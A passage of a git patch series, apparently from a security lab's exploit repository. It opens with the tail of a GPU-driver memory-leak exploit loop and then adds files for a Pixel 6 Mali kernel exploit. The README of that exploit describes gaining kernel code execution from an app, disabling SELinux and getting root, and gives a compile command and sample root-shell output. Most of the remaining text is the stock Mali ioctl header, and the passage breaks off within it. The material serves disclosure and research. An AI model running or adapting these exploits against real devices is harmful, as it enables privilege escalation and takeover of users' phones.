+    write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * COMMAND_SIZE;
+
+    write_cmds = write_cmd_buf;
+
+    *write_cmds++ = cp_type7_packet(CP_NOP, 1);
+    *write_cmds++ = 0xffffffff;
+
+    *write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + LEAK_SIZE);
+
+    write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr);
+
+    uint32_t ctx_id;
+    if (kgsl_ctx_create(fd, &ctx_id)) {
+      err(1, "kgsl_ctx_create failed.");
+    }
+
+    uint32_t cmdsize = (write_cmds - write_cmd_buf) * 4;
+
+    usleep(50000);
+
+    uint64_t shared_mem_size = 0x1000;
+    while (1) {
+		shared_mem_buf2 = (uint32_t*)mmap((void*)0x40001000, shared_mem_size,
+		                                    PROT_READ,
+		                                    MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
+		if (shared_mem_buf2 == MAP_FAILED) {
+		  err(1, "shared_mem_buf2 failed");
+		}
+
+		ret = kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1);
+		
+		if (ret == -1) {
+		  err(1, "kgsl_map failed (shared_mem_buf2)");
+		}
+
+		if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmdsize, 1, 0, write_cmd_gpuaddr, (write_cmds - write_cmd_buf + LEAK_SIZE) * COMMAND_SIZE)) {
+		  err(1, "gpu_command failed.");
+		}
+
+		usleep(50000);
+        hexdump(shared_mem_buf, LEAK_SIZE * COMMAND_SIZE);
+
+		munmap(shared_mem_buf2, shared_mem_size);
+
+		struct kgsl_sharedmem_free free_param = {.gpuaddr = shared_mem_gpuaddr2};
+		if (ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &free_param) < 0) {
+		  err(1, "unable to free memory\n");
+		}
+		sleep(5);
+    }
+}

From 7c558f97ee66475956f17b87f912e5911cedeca6 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Tue, 21 Feb 2023 11:53:35 +0000
Subject: [PATCH 101/104] Initial commit

---
 .../Android/Mali/GHSL-2023-005/README.md      |   39 +
 .../Android/Mali/GHSL-2023-005/mali.h         | 1060 ++++++++++++++
 .../Mali/GHSL-2023-005/mali_base_jm_kernel.h  | 1216 +++++++++++++++++
 .../Android/Mali/GHSL-2023-005/mali_jit.c     |  659 +++++++++
 .../Android/Mali/GHSL-2023-005/midgard.h      |  260 ++++
 5 files changed, 3234 insertions(+)
 create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/README.md
 create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/mali.h
 create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h
 create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c
 create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h

diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/README.md b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md
new file mode 100644
index 0000000..76a9978
--- /dev/null
+++ b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md
@@ -0,0 +1,39 @@
+## Exploit for GHSL-2023-005
+
+The write up can be found [here](). A security patch from the upstream Arm Mali driver somehow got missed out in the update for the Pixel phones and I reported it to Google in January 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
+
+The exploit is tested on the Google Pixel 6 for devices running the January 2023 patch. For reference, I used the following command to compile it with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_jit.c -o mali_jit
+```
+
+The exploit should be run a couple of minutes after boot and should be fairly reliable. If failed, it can be rerun and should succeed within a few times.
+If successful, it should disable SELinux and gain root.
+
+```
+oriole:/ $ /data/local/tmp/mali_jit                                          
+fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
+region freed
+found region 16115 at 7000200000
+overwrite addr : 7ae9700710 710
+overwrite addr : 7ae9500710 710
+overwrite addr : 7828500710 710
+overwrite addr : 7828300710 710
+overwrite addr : 7828500710 710
+overwrite addr : 7828300710 710
+overwrite addr : 7828100710 710
+overwrite addr : 7828300710 710
+overwrite addr : 7828100710 710
+overwrite addr : 7ae9700fd4 fd4
+overwrite addr : 7ae9500fd4 fd4
+overwrite addr : 7828500fd4 fd4
+overwrite addr : 7828300fd4 fd4
+overwrite addr : 7828500fd4 fd4
+overwrite addr : 7828300fd4 fd4
+overwrite addr : 7828100fd4 fd4
+overwrite addr : 7828300fd4 fd4
+overwrite addr : 7828100fd4 fd4
+result 50
+oriole:/ # 
+```
diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/mali.h b/SecurityExploits/Android/Mali/GHSL-2023-005/mali.h
new file mode 100644
index 0000000..3b61e20
--- /dev/null
+++ b/SecurityExploits/Android/Mali/GHSL-2023-005/mali.h
@@ -0,0 +1,1060 @@
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
+/*
+ *
+ * (C) COPYRIGHT 2020-2021 ARM Limited. All rights reserved.
+ *
+ * This program is free software and is provided to you under the terms of the
+ * GNU General Public License version 2 as published by the Free Software
+ * Foundation, and any use by you of this program is subject to the terms
+ * of such GNU license.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, you can access it online at
+ * http://www.gnu.org/licenses/gpl-2.0.html.
+ *
+ */
+
+#ifndef _UAPI_KBASE_JM_IOCTL_H_
+#define _UAPI_KBASE_JM_IOCTL_H_
+
+#include <sys/ioctl.h>
+#include <linux/types.h>
+
+/*
+ * 11.1:
+ * - Add BASE_MEM_TILER_ALIGN_TOP under base_mem_alloc_flags
+ * 11.2:
+ * - KBASE_MEM_QUERY_FLAGS can return KBASE_REG_PF_GROW and KBASE_REG_PROTECTED,
+ *   which some user-side clients prior to 11.2 might fault if they received
+ *   them
+ * 11.3:
+ * - New ioctls KBASE_IOCTL_STICKY_RESOURCE_MAP and
+ *   KBASE_IOCTL_STICKY_RESOURCE_UNMAP
+ * 11.4:
+ * - New ioctl KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET
+ * 11.5:
+ * - New ioctl: KBASE_IOCTL_MEM_JIT_INIT (old ioctl renamed to _OLD)
+ * 11.6:
+ * - Added flags field to base_jit_alloc_info structure, which can be used to
+ *   specify pseudo chunked tiler alignment for JIT allocations.
+ * 11.7:
+ * - Removed UMP support
+ * 11.8:
+ * - Added BASE_MEM_UNCACHED_GPU under base_mem_alloc_flags
+ * 11.9:
+ * - Added BASE_MEM_PERMANENT_KERNEL_MAPPING and BASE_MEM_FLAGS_KERNEL_ONLY
+ *   under base_mem_alloc_flags
+ * 11.10:
+ * - Enabled the use of nr_extres field of base_jd_atom_v2 structure for
+ *   JIT_ALLOC and JIT_FREE type softjobs to enable multiple JIT allocations
+ *   with one softjob.
+ * 11.11:
+ * - Added BASE_MEM_GPU_VA_SAME_4GB_PAGE under base_mem_alloc_flags
+ * 11.12:
+ * - Removed ioctl: KBASE_IOCTL_GET_PROFILING_CONTROLS
+ * 11.13:
+ * - New ioctl: KBASE_IOCTL_MEM_EXEC_INIT
+ * 11.14:
+ * - Add BASE_MEM_GROUP_ID_MASK, base_mem_group_id_get, base_mem_group_id_set
+ *   under base_mem_alloc_flags
+ * 11.15:
+ * - Added BASEP_CONTEXT_MMU_GROUP_ID_MASK under base_context_create_flags.
+ * - Require KBASE_IOCTL_SET_FLAGS before BASE_MEM_MAP_TRACKING_HANDLE can be
+ *   passed to mmap().
+ * 11.16:
+ * - Extended ioctl KBASE_IOCTL_MEM_SYNC to accept imported dma-buf.
+ * - Modified (backwards compatible) ioctl KBASE_IOCTL_MEM_IMPORT behavior for
+ *   dma-buf. Now, buffers are mapped on GPU when first imported, no longer
+ *   requiring external resource or sticky resource tracking. UNLESS,
+ *   CONFIG_MALI_DMA_BUF_MAP_ON_DEMAND is enabled.
+ * 11.17:
+ * - Added BASE_JD_REQ_JOB_SLOT.
+ * - Reused padding field in base_jd_atom_v2 to pass job slot number.
+ * - New ioctl: KBASE_IOCTL_GET_CPU_GPU_TIMEINFO
+ * 11.18:
+ * - Added BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP under base_mem_alloc_flags
+ * 11.19:
+ * - Extended base_jd_atom_v2 to allow a renderpass ID to be specified.
+ * 11.20:
+ * - Added new phys_pages member to kbase_ioctl_mem_jit_init for
+ *   KBASE_IOCTL_MEM_JIT_INIT, previous variants of this renamed to use _10_2
+ *   (replacing '_OLD') and _11_5 suffixes
+ * - Replaced compat_core_req (deprecated in 10.3) with jit_id[2] in
+ *   base_jd_atom_v2. It must currently be initialized to zero.
+ * - Added heap_info_gpu_addr to base_jit_alloc_info, and
+ *   BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE allowable in base_jit_alloc_info's
+ *   flags member. Previous variants of this structure are kept and given _10_2
+ *   and _11_5 suffixes.
+ * - The above changes are checked for safe values in usual builds
+ * 11.21:
+ * - v2.0 of mali_trace debugfs file, which now versions the file separately
+ * 11.22:
+ * - Added base_jd_atom (v3), which is seq_nr + base_jd_atom_v2.
+ *   KBASE_IOCTL_JOB_SUBMIT supports both in parallel.
+ * 11.23:
+ * - Modified KBASE_IOCTL_MEM_COMMIT behavior to reject requests to modify
+ *   the physical memory backing of JIT allocations. This was not supposed
+ *   to be a valid use case, but it was allowed by the previous implementation.
+ * 11.24:
+ * - Added a sysfs file 'serialize_jobs' inside a new sub-directory
+ *   'scheduling'.
+ * 11.25:
+ * - Enabled JIT pressure limit in base/kbase by default
+ * 11.26
+ * - Added kinstr_jm API
+ * 11.27
+ * - Backwards compatible extension to HWC ioctl.
+ * 11.28:
+ * - Added kernel side cache ops needed hint
+ * 11.29:
+ * - Reserve ioctl 52
+ * 11.30:
+ * - Add a new priority level BASE_JD_PRIO_REALTIME
+ * - Add ioctl 54: This controls the priority setting.
+ * 11.31:
+ * - Added BASE_JD_REQ_LIMITED_CORE_MASK.
+ * - Added ioctl 55: set_limited_core_count.
+ */
+#define BASE_UK_VERSION_MAJOR 11
+#define BASE_UK_VERSION_MINOR 31
+
+/**
+ * struct kbase_ioctl_version_check - Check version compatibility between
+ * kernel and userspace
+ *
+ * @major: Major version number
+ * @minor: Minor version number
+ */
+struct kbase_ioctl_version_check {
+	__u16 major;
+	__u16 minor;
+};
+
+#define KBASE_IOCTL_VERSION_CHECK \
+	_IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check)
+
+
+/**
+ * struct kbase_ioctl_job_submit - Submit jobs/atoms to the kernel
+ *
+ * @addr: Memory address of an array of struct base_jd_atom_v2 or v3
+ * @nr_atoms: Number of entries in the array
+ * @stride: sizeof(struct base_jd_atom_v2) or sizeof(struct base_jd_atom)
+ */
+struct kbase_ioctl_job_submit {
+	__u64 addr;
+	__u32 nr_atoms;
+	__u32 stride;
+};
+
+#define KBASE_IOCTL_JOB_SUBMIT \
+	_IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit)
+
+#define KBASE_IOCTL_POST_TERM \
+	_IO(KBASE_IOCTL_TYPE, 4)
+
+/**
+ * struct kbase_ioctl_soft_event_update - Update the status of a soft-event
+ * @event: GPU address of the event which has been updated
+ * @new_status: The new status to set
+ * @flags: Flags for future expansion
+ */
+struct kbase_ioctl_soft_event_update {
+	__u64 event;
+	__u32 new_status;
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_SOFT_EVENT_UPDATE \
+	_IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update)
+
+/**
+ * struct kbase_kinstr_jm_fd_out - Explains the compatibility information for
+ * the `struct kbase_kinstr_jm_atom_state_change` structure returned from the
+ * kernel
+ *
+ * @size:    The size of the `struct kbase_kinstr_jm_atom_state_change`
+ * @version: Represents a breaking change in the
+ *           `struct kbase_kinstr_jm_atom_state_change`
+ * @padding: Explicit padding to get the structure up to 64bits. See
+ * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst
+ *
+ * The `struct kbase_kinstr_jm_atom_state_change` may have extra members at the
+ * end of the structure that older user space might not understand. If the
+ * `version` is the same, the structure is still compatible with newer kernels.
+ * The `size` can be used to cast the opaque memory returned from the kernel.
+ */
+struct kbase_kinstr_jm_fd_out {
+	__u16 size;
+	__u8 version;
+	__u8 padding[5];
+};
+
+/**
+ * struct kbase_kinstr_jm_fd_in - Options when creating the file descriptor
+ *
+ * @count: Number of atom states that can be stored in the kernel circular
+ *         buffer. Must be a power of two
+ * @padding: Explicit padding to get the structure up to 64bits. See
+ * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst
+ */
+struct kbase_kinstr_jm_fd_in {
+	__u16 count;
+	__u8 padding[6];
+};
+
+union kbase_kinstr_jm_fd {
+	struct kbase_kinstr_jm_fd_in in;
+	struct kbase_kinstr_jm_fd_out out;
+};
+
+#define KBASE_IOCTL_KINSTR_JM_FD \
+	_IOWR(KBASE_IOCTL_TYPE, 51, union kbase_kinstr_jm_fd)
+
+
+#define KBASE_IOCTL_VERSION_CHECK_RESERVED \
+	_IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check)
+
+#define KBASE_IOCTL_TYPE 0x80
+
+/**
+ * struct kbase_ioctl_set_flags - Set kernel context creation flags
+ *
+ * @create_flags: Flags - see base_context_create_flags
+ */
+struct kbase_ioctl_set_flags {
+	__u32 create_flags;
+};
+
+#define KBASE_IOCTL_SET_FLAGS \
+	_IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)
+
+/**
+ * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel
+ *
+ * @buffer: Pointer to the buffer to store properties into
+ * @size: Size of the buffer
+ * @flags: Flags - must be zero for now
+ *
+ * The ioctl will return the number of bytes stored into @buffer or an error
+ * on failure (e.g. @size is too small). If @size is specified as 0 then no
+ * data will be written but the return value will be the number of bytes needed
+ * for all the properties.
+ *
+ * @flags may be used in the future to request a different format for the
+ * buffer. With @flags == 0 the following format is used.
+ *
+ * The buffer will be filled with pairs of values, a __u32 key identifying the
+ * property followed by the value. The size of the value is identified using
+ * the bottom bits of the key. The value then immediately followed the key and
+ * is tightly packed (there is no padding). All keys and values are
+ * little-endian.
+ *
+ * 00 = __u8
+ * 01 = __u16
+ * 10 = __u32
+ * 11 = __u64
+ */
+struct kbase_ioctl_get_gpuprops {
+	__u64 buffer;
+	__u32 size;
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_GET_GPUPROPS \
+	_IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops)
+
+/**
+ * union kbase_ioctl_mem_alloc - Allocate memory on the GPU
+ * @in: Input parameters
+ * @in.va_pages: The number of pages of virtual address space to reserve
+ * @in.commit_pages: The number of physical pages to allocate
+ * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region
+ * @in.flags: Flags
+ * @out: Output parameters
+ * @out.flags: Flags
+ * @out.gpu_va: The GPU virtual address which is allocated
+ */
+union kbase_ioctl_mem_alloc {
+	struct {
+		__u64 va_pages;
+		__u64 commit_pages;
+		__u64 extension;
+		__u64 flags;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_ALLOC \
+	_IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc)
+
+/**
+ * struct kbase_ioctl_mem_query - Query properties of a GPU memory region
+ * @in: Input parameters
+ * @in.gpu_addr: A GPU address contained within the region
+ * @in.query: The type of query
+ * @out: Output parameters
+ * @out.value: The result of the query
+ *
+ * Use a %KBASE_MEM_QUERY_xxx flag as input for @query.
+ */
+union kbase_ioctl_mem_query {
+	struct {
+		__u64 gpu_addr;
+		__u64 query;
+	} in;
+	struct {
+		__u64 value;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_QUERY \
+	_IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query)
+
+#define KBASE_MEM_QUERY_COMMIT_SIZE	((__u64)1)
+#define KBASE_MEM_QUERY_VA_SIZE		((__u64)2)
+#define KBASE_MEM_QUERY_FLAGS		((__u64)3)
+
+/**
+ * struct kbase_ioctl_mem_free - Free a memory region
+ * @gpu_addr: Handle to the region to free
+ */
+struct kbase_ioctl_mem_free {
+	__u64 gpu_addr;
+};
+
+#define KBASE_IOCTL_MEM_FREE \
+	_IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free)
+
+/**
+ * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader
+ * @buffer_count: requested number of dumping buffers
+ * @fe_bm:        counters selection bitmask (Front end)
+ * @shader_bm:    counters selection bitmask (Shader)
+ * @tiler_bm:     counters selection bitmask (Tiler)
+ * @mmu_l2_bm:    counters selection bitmask (MMU_L2)
+ *
+ * A fd is returned from the ioctl if successful, or a negative value on error
+ */
+struct kbase_ioctl_hwcnt_reader_setup {
+	__u32 buffer_count;
+	__u32 fe_bm;
+	__u32 shader_bm;
+	__u32 tiler_bm;
+	__u32 mmu_l2_bm;
+};
+
+#define KBASE_IOCTL_HWCNT_READER_SETUP \
+	_IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup)
+
+/**
+ * struct kbase_ioctl_hwcnt_enable - Enable hardware counter collection
+ * @dump_buffer:  GPU address to write counters to
+ * @fe_bm:        counters selection bitmask (Front end)
+ * @shader_bm:    counters selection bitmask (Shader)
+ * @tiler_bm:     counters selection bitmask (Tiler)
+ * @mmu_l2_bm:    counters selection bitmask (MMU_L2)
+ */
+struct kbase_ioctl_hwcnt_enable {
+	__u64 dump_buffer;
+	__u32 fe_bm;
+	__u32 shader_bm;
+	__u32 tiler_bm;
+	__u32 mmu_l2_bm;
+};
+
+#define KBASE_IOCTL_HWCNT_ENABLE \
+	_IOW(KBASE_IOCTL_TYPE, 9, struct kbase_ioctl_hwcnt_enable)
+
+#define KBASE_IOCTL_HWCNT_DUMP \
+	_IO(KBASE_IOCTL_TYPE, 10)
+
+#define KBASE_IOCTL_HWCNT_CLEAR \
+	_IO(KBASE_IOCTL_TYPE, 11)
+
+/**
+ * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to.
+ * @data:    Counter samples for the dummy model.
+ * @size:    Size of the counter sample data.
+ * @padding: Padding.
+ */
+struct kbase_ioctl_hwcnt_values {
+	__u64 data;
+	__u32 size;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_HWCNT_SET \
+	_IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values)
+
+/**
+ * struct kbase_ioctl_disjoint_query - Query the disjoint counter
+ * @counter:   A counter of disjoint events in the kernel
+ */
+struct kbase_ioctl_disjoint_query {
+	__u32 counter;
+};
+
+#define KBASE_IOCTL_DISJOINT_QUERY \
+	_IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query)
+
+/**
+ * struct kbase_ioctl_get_ddk_version - Query the kernel version
+ * @version_buffer: Buffer to receive the kernel version string
+ * @size: Size of the buffer
+ * @padding: Padding
+ *
+ * The ioctl will return the number of bytes written into version_buffer
+ * (which includes a NULL byte) or a negative error code
+ *
+ * The ioctl request code has to be _IOW because the data in ioctl struct is
+ * being copied to the kernel, even though the kernel then writes out the
+ * version info to the buffer specified in the ioctl.
+ */
+struct kbase_ioctl_get_ddk_version {
+	__u64 version_buffer;
+	__u32 size;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_GET_DDK_VERSION \
+	_IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version)
+
+/**
+ * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory
+ *                                        allocator (between kernel driver
+ *                                        version 10.2--11.4)
+ * @va_pages: Number of VA pages to reserve for JIT
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ *
+ * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for
+ * backwards compatibility.
+ */
+struct kbase_ioctl_mem_jit_init_10_2 {
+	__u64 va_pages;
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2)
+
+/**
+ * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory
+ *                                        allocator (between kernel driver
+ *                                        version 11.5--11.19)
+ * @va_pages: Number of VA pages to reserve for JIT
+ * @max_allocations: Maximum number of concurrent allocations
+ * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%)
+ * @group_id: Group ID to be used for physical allocations
+ * @padding: Currently unused, must be zero
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ *
+ * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for
+ * backwards compatibility.
+ */
+struct kbase_ioctl_mem_jit_init_11_5 {
+	__u64 va_pages;
+	__u8 max_allocations;
+	__u8 trim_level;
+	__u8 group_id;
+	__u8 padding[5];
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5)
+
+/**
+ * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory
+ *                                   allocator
+ * @va_pages: Number of GPU virtual address pages to reserve for just-in-time
+ *            memory allocations
+ * @max_allocations: Maximum number of concurrent allocations
+ * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%)
+ * @group_id: Group ID to be used for physical allocations
+ * @padding: Currently unused, must be zero
+ * @phys_pages: Maximum number of physical pages to allocate just-in-time
+ *
+ * Note that depending on the VA size of the application and GPU, the value
+ * specified in @va_pages may be ignored.
+ */
+struct kbase_ioctl_mem_jit_init {
+	__u64 va_pages;
+	__u8 max_allocations;
+	__u8 trim_level;
+	__u8 group_id;
+	__u8 padding[5];
+	__u64 phys_pages;
+};
+
+#define KBASE_IOCTL_MEM_JIT_INIT \
+	_IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init)
+
+/**
+ * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory
+ *
+ * @handle: GPU memory handle (GPU VA)
+ * @user_addr: The address where it is mapped in user space
+ * @size: The number of bytes to synchronise
+ * @type: The direction to synchronise: 0 is sync to memory (clean),
+ * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants.
+ * @padding: Padding to round up to a multiple of 8 bytes, must be zero
+ */
+struct kbase_ioctl_mem_sync {
+	__u64 handle;
+	__u64 user_addr;
+	__u64 size;
+	__u8 type;
+	__u8 padding[7];
+};
+
+#define KBASE_IOCTL_MEM_SYNC \
+	_IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync)
+
+/**
+ * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer
+ *
+ * @in: Input parameters
+ * @in.gpu_addr: The GPU address of the memory region
+ * @in.cpu_addr: The CPU address to locate
+ * @in.size: A size in bytes to validate is contained within the region
+ * @out: Output parameters
+ * @out.offset: The offset from the start of the memory region to @cpu_addr
+ */
+union kbase_ioctl_mem_find_cpu_offset {
+	struct {
+		__u64 gpu_addr;
+		__u64 cpu_addr;
+		__u64 size;
+	} in;
+	struct {
+		__u64 offset;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \
+	_IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset)
+
+/**
+ * struct kbase_ioctl_get_context_id - Get the kernel context ID
+ *
+ * @id: The kernel context ID
+ */
+struct kbase_ioctl_get_context_id {
+	__u32 id;
+};
+
+#define KBASE_IOCTL_GET_CONTEXT_ID \
+	_IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id)
+
+/**
+ * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd
+ *
+ * @flags: Flags
+ *
+ * The ioctl returns a file descriptor when successful
+ */
+struct kbase_ioctl_tlstream_acquire {
+	__u32 flags;
+};
+
+#define KBASE_IOCTL_TLSTREAM_ACQUIRE \
+	_IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire)
+
+#define KBASE_IOCTL_TLSTREAM_FLUSH \
+	_IO(KBASE_IOCTL_TYPE, 19)
+
+/**
+ * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region
+ *
+ * @gpu_addr: The memory region to modify
+ * @pages:    The number of physical pages that should be present
+ *
+ * The ioctl may return on the following error codes or 0 for success:
+ *   -ENOMEM: Out of memory
+ *   -EINVAL: Invalid arguments
+ */
+struct kbase_ioctl_mem_commit {
+	__u64 gpu_addr;
+	__u64 pages;
+};
+
+#define KBASE_IOCTL_MEM_COMMIT \
+	_IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit)
+
+/**
+ * union kbase_ioctl_mem_alias - Create an alias of memory regions
+ * @in: Input parameters
+ * @in.flags: Flags, see BASE_MEM_xxx
+ * @in.stride: Bytes between start of each memory region
+ * @in.nents: The number of regions to pack together into the alias
+ * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info
+ * @out: Output parameters
+ * @out.flags: Flags, see BASE_MEM_xxx
+ * @out.gpu_va: Address of the new alias
+ * @out.va_pages: Size of the new alias
+ */
+union kbase_ioctl_mem_alias {
+	struct {
+		__u64 flags;
+		__u64 stride;
+		__u64 nents;
+		__u64 aliasing_info;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+		__u64 va_pages;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_ALIAS \
+	_IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias)
+
+enum base_mem_import_type {
+	BASE_MEM_IMPORT_TYPE_INVALID = 0,
+	/*
+	 * Import type with value 1 is deprecated.
+	 */
+	BASE_MEM_IMPORT_TYPE_UMM = 2,
+	BASE_MEM_IMPORT_TYPE_USER_BUFFER = 3
+};
+
+/**
+ * struct base_mem_import_user_buffer - Handle of an imported user buffer
+ *
+ * @ptr:	address of imported user buffer
+ * @length:	length of imported user buffer in bytes
+ *
+ * This structure is used to represent a handle of an imported user buffer.
+ */
+
+struct base_mem_import_user_buffer {
+	__u64 ptr;
+	__u64 length;
+};
+
+/**
+ * union kbase_ioctl_mem_import - Import memory for use by the GPU
+ * @in: Input parameters
+ * @in.flags: Flags, see BASE_MEM_xxx
+ * @in.phandle: Handle to the external memory
+ * @in.type: Type of external memory, see base_mem_import_type
+ * @in.padding: Amount of extra VA pages to append to the imported buffer
+ * @out: Output parameters
+ * @out.flags: Flags, see BASE_MEM_xxx
+ * @out.gpu_va: Address of the new alias
+ * @out.va_pages: Size of the new alias
+ */
+union kbase_ioctl_mem_import {
+	struct {
+		__u64 flags;
+		__u64 phandle;
+		__u32 type;
+		__u32 padding;
+	} in;
+	struct {
+		__u64 flags;
+		__u64 gpu_va;
+		__u64 va_pages;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_IMPORT \
+	_IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import)
+
+/**
+ * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region
+ * @gpu_va: The GPU region to modify
+ * @flags: The new flags to set
+ * @mask: Mask of the flags to modify
+ */
+struct kbase_ioctl_mem_flags_change {
+	__u64 gpu_va;
+	__u64 flags;
+	__u64 mask;
+};
+
+#define KBASE_IOCTL_MEM_FLAGS_CHANGE \
+	_IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change)
+
+/**
+ * struct kbase_ioctl_stream_create - Create a synchronisation stream
+ * @name: A name to identify this stream. Must be NULL-terminated.
+ *
+ * Note that this is also called a "timeline", but is named stream to avoid
+ * confusion with other uses of the word.
+ *
+ * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes.
+ *
+ * The ioctl returns a file descriptor.
+ */
+struct kbase_ioctl_stream_create {
+	char name[32];
+};
+
+#define KBASE_IOCTL_STREAM_CREATE \
+	_IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create)
+
+/**
+ * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence
+ * @fd: The file descriptor to validate
+ */
+struct kbase_ioctl_fence_validate {
+	int fd;
+};
+
+#define KBASE_IOCTL_FENCE_VALIDATE \
+	_IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate)
+
+/**
+ * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel
+ * @buffer: Pointer to the information
+ * @len: Length
+ * @padding: Padding
+ *
+ * The data provided is accessible through a debugfs file
+ */
+struct kbase_ioctl_mem_profile_add {
+	__u64 buffer;
+	__u32 len;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_MEM_PROFILE_ADD \
+	_IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add)
+
+/**
+ * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource
+ * @count: Number of resources
+ * @address: Array of __u64 GPU addresses of the external resources to map
+ */
+struct kbase_ioctl_sticky_resource_map {
+	__u64 count;
+	__u64 address;
+};
+
+#define KBASE_IOCTL_STICKY_RESOURCE_MAP \
+	_IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map)
+
+/**
